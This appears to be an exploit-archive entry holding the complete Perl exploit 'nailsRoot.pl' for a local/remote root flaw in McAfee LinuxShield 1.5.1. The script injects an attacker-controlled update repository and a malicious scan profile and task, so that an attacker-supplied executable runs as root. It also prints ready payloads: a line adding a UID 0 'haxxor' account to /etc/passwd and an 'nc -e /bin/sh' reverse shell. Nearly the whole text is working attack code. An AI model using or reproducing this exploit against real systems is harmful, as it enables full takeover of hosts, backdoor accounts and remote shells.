发布 2010-08-27 漏洞条目

McAfee LinuxShield 1.5.1 – Local/Remote File Inclusion / Remote Code Execution

Exploit Source

#!/usr/bin/perl

# Title: McAfee LinuxShield <= 1.5.1 Local/Remote Root Exploit

# Name: nailsRoot.pl

# Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>

# WARNING: This Exploit deletes the default Update Server

# Use it only for education or ethical pentesting! The author accepts

# no liability for damage caused by this tool.

use strict;

use IO::Socket::SSL;

use Getopt::Std;

my %args;

my $ack;

my $timestamp;

getopt('h:p:u:v:e:a:g:', \%args);

my $gen_exec = $args{g};

if (defined $gen_exec) {

genEx($gen_exec);

}

my $target_host = $args{h} || usage();

my $target_port = $args{p} || 65443;

my $nails_user = $args{u} || usage();

my $nails_pass = $args{v} || "";

my $exec_path = $args{e} || "/opt/McAfee/cma/scratch/update/catalog.z";

my $my_host = $args{a} || "";

my $range = 50000000;

my $minimum = 90000000;

my $randomtask = int(rand($range)) + $minimum;

my $pre="sconf ODS_99 ";

my $post="\x0d\x0a";

my $setrepo1='db set 1 _table=repository status=1 siteList=<?xml\ version="1.0"\ encoding="UTF-8"?><ns:SiteLis'.

'ts\ xmlns:ns="naSiteList"\ GlobalVersion="20030131003110"\ LocalVersion="20091209161903"\ Type="Clie'.

'nt"><SiteList\ Default="1"\ Name="SomeGUID"><HttpSite\ Type="repository"\ Name="EvilRepo"\ Order="1"'.

'\ Server="';

my $setrepo2=':80"\ Enabled="1"\ Local="1"><RelativePath>nai</RelativePath><UseAuth>0</UseAut'.

'h><UserName></UserName><Password\ Encrypted="0"/></HttpSite></SiteList></ns:SiteLists> _cmd=update';

my $setsite="task setsitelist";

my $begin="begin";

my$set="set ";

my $profile=" nailsd.profile.ODS_99.allFiles=true nailsd.profile.ODS_99.childInitTmo=60".

" nailsd.profile.ODS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=10000 nailsd.profile.ODS".

"_5.datPath=/opt/NAI/LinuxShield/engine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.profile.".

"ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibDir=/opt/NAI/LinuxShield/engine/lib nailsd.prof".

"ile.ODS_99.enginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so".

" nailsd.profile.ODS_99.factoryInitT".

"mo=60 nailsd.profile.ODS_99.heuristicAnalysis=true nailsd.profile.ODS_99.macroAnalysis=true nailsd.p".

"rofile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99.mime=true nailsd.profile.ODS_99.noJokes=false nails".

"d.profile.ODS_99.program=true nailsd.profile.ODS_99.quarantineChildren=1 nailsd.profile.ODS_99.quaran".

"tineDirectory=/quarantine nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.profile.ODS_99.scan".

"Children=2 nailsd.profile.ODS_99.scanMaxTmo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profil".

"e.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=true nailsd.profile.ODS_99.scannerPath=".

"$exec_path".

" nailsd.profile.ODS_99.scansPerChild=10000 nailsd.profile.ODS_99.sl".

"owScanChildren=0 nailsd.profile.ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.filter.0.pat".

"h=/proc nailsd.profile.ODS_99.filter.0.subdir=true nailsd.profile.ODS_99.filter.extensions.mode=all ".

"nailsd.profile.ODS_99.filter.extensions.type=extension nailsd.profile.ODS_99.action.Default.primary=".

"Clean nailsd.profile.ODS_99.action.Default.secondary=Quarantine nailsd.profile.ODS_99.action.App.pri".

"mary=Clean nailsd.profile.ODS_99.action.App.secondary=Quarantine nailsd.profile.ODS_99.action.timeou".

"t=Pass nailsd.profile.ODS_99.action.error=Block";

my $commit="commit ";

my $setdb=" _table=schedule taskName=$randomtask taskType=On-Demand taskInfo=profileName=ODS_99,".

"paths=path:/root/tmp;exclude:false timetable=type=unscheduled taskResults=0 i_lastRun=1260318482 status=Stopped _cmd=insert";

#update _where= i_taskId=2";

my $execupd="task nstart LinuxShield Update";

my $execute="task nstart $randomtask";

banner();

if ($exec_path eq "/opt/McAfee/cma/scratch/update/catalog.z") {

if ($my_host eq "") {

usage();

}

stOne();

}else{

stTwo();

}

sub stOne {

my $reposock = IO::Socket::SSL->new(

PeerAddr => $target_host,

PeerPort => $target_port,

Proto => 'tcp',

);

if (defined $reposock) {

print "[*] Executing Stage One\n";

print "-----------------------\n";

$ack=<$reposock>;

print $ack;

print $reposock "auth ".$nails_user." ".$nails_pass.$post;

$ack=<$reposock>;

if ($ack=~m/ERR authentication failure/){

print "[-] Authentication failed...\n";

exit(1);

}

print $ack;

sleep(1);

print "[+] Repo update: inject evil repo\n";

print $reposock $setrepo1.$my_host.$setrepo2.$post;

sleep(1);

print "[+] Repo Site update: update site task\n";

print $reposock $setsite.$post;

$ack=<$reposock>;

print $ack;

sleep(1);

print "[+] Execute AV Update: downloading evil code\n";

print $reposock $execupd.$post;

sleep(5); # Update needs a bit time

$reposock->shutdown(1);

}

stTwo();

}

sub stTwo {

my $sock = IO::Socket::SSL->new(

PeerAddr => $target_host,

PeerPort => $target_port,

Proto => 'tcp',

);

if (defined $sock) {

print "\n\n[*] Executing Stage TWO\n";

print "-----------------------\n";

$ack=<$sock>;

print $ack;

print $sock "auth ".$nails_user." ".$nails_pass.$post;

$ack=<$sock>;

if ($ack=~m/ERR authentication failure/){

print "[-] Authentication failed...\n";

exit(1);

}

print $ack;

sleep(1);

print $sock $pre.$begin.$post;

$ack=<$sock>;

print $ack;

$ack=~s/\+OK //g;

$timestamp=$ack;

$timestamp=~ s/\s+$//;

print "[+] Timestamp: $timestamp\n";

print "[+] Profile: Injecting evil Profile\n";

print $sock $pre.$set.$timestamp.$profile.$post;

sleep(1);

print "[+] Commit: Profile changes\n";

print $sock $pre.$commit.$timestamp.$post;

sleep(1);

print "[+] Schedule: Injecting evil task $randomtask\n";

print $sock "db set ".$timestamp.$setdb.$post;

sleep(1);

print "[+] Excute: Task $randomtask\n";

print $sock $execute.$post;

$sock->shutdown(1);

print "[+] Done... Check whatever you did\n";

} else {

print "[-] some troubles with connection: $!\n" ;

}

sub usage {

print "\n";

print " nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit\n";

print "===============================================================\n\n";

print " Usage:\n";

print " $0 -h <target ip> -u <user> -v <pass> [-a <my host>|-e <executable>]\n";

print " Optional:\n";

print " -a <attacker host with httpd>\n";

print " -e <executable file on target host>\n";

print " -p <target port (default: 65443)>\n";

print " -g (1|2) <generat shell scripts to execute>\n";

print " 1 <UID 0 user add>\n";

print " 2 <reverse nc shell>\n";

print " Notes:\n";

print " -We can not handle arguments given to executable\n";

print " in the -e option.\n";

print " -To download your own evil executable, start a httpd\n";

print " and set the -a option. Create the directory <nai> in\n";

print " your wwwroot and rename your executable to <catalog.z>\n";

print " Author:\n";

print " Nikolas Sotiriu (lofi)\n";

print " url: www.sotiriu.de\n";

print " mail: lofi[at]sotiriu.de\n";

print "\n";

exit(1);

}

sub genEx {

my ($code)=@_;

if ($code==1) {

print STDERR << "EOF";

============== UID 0 user add ==============

Copy this lines to the catalog.z file.

USER=haxxor PASS=haxxorPass

-------------- cut --------------

#!/bin/sh

echo haxxor:AzFQk89Xgpp8s:0:0::/:/bin/sh >> /etc/passwd

-------------- /cut --------------

EOF

} elsif ($code==2) {

print STDERR << "EOF";

============== reverse nc shell ==============

Copy this lines to the catalog.z file.

-------------- cut --------------

#!/bin/sh

nc -nv <yourip> 4444 -e /bin/sh

-------------- /cut --------------

EOF

}

exit(1);

}

sub banner {

print STDERR << "EOF";

--------------------------------------------------------------------------------

nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit

--------------------------------------------------------------------------------

111 1111111

11100 101 00110111001111

11101 11 10 111 101 1001111111

1101 11 00 10 11 11 111 1111111101

10111 1 10 11 10 0 10 1 1 1 1111111011

1111 1 1 10 0 01 01 01 1 1 111 1111011101

1000 0 11 10 10 0 10 11 111 11111 11 1111 111100

1111111111 01 10 10 11 01 0 11 11111111111 1 1111 11

10111110 0 01 00 11 1110 11 10 11111111111 11 11111 11 111

101111111 0 10 01 11 1 11 0 10 11 1111111111111111 1111110000111

011111 0110 10 10 0 11 1 11 01 01 111111111111111 1 11110011001

1011111 0110 10 11 1110 11 1 10 11111111111111111111 1 100 001

1011111 0 10 10 01 1 0 1 11 1 111111111111111111111111 001101

011111 0 0 0 11 0 1111 0 11 01111111111111111111111111 01

1111111 01 01 111 1 1111 1 11 1111111111111111111111 1101 1111

111 1111 10 0 111110 0111 0 1 0111111111111111111111 11111 1111

111 11111 1 11 1 1 1 111 11 11111111111111111111111110 1001

111 1011111 1 11111111110111111111111111111111111111111 01 10111001

11 1100 10110110 10001 11101111111111111111 10 111 11100

111 00 1011101 00101 0 11111111111111111001 11 111101

11 00 00 101 1000011 1011 1111 1111111000 1111111 0

11 00 0 1011 100001 101000 1 1001 00001111 01

01101 11111 1011 01100 0101 110 11 10

10111 1 0 01 0000011 10 10

10011 11100 1111 101 11

1110 01 101011 1001100

1111000011 1 111

11000001111

EOF

}

作者: Nikolas Sotiriu
日期: 2010-08-27
类别: webapps
平台: linux

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection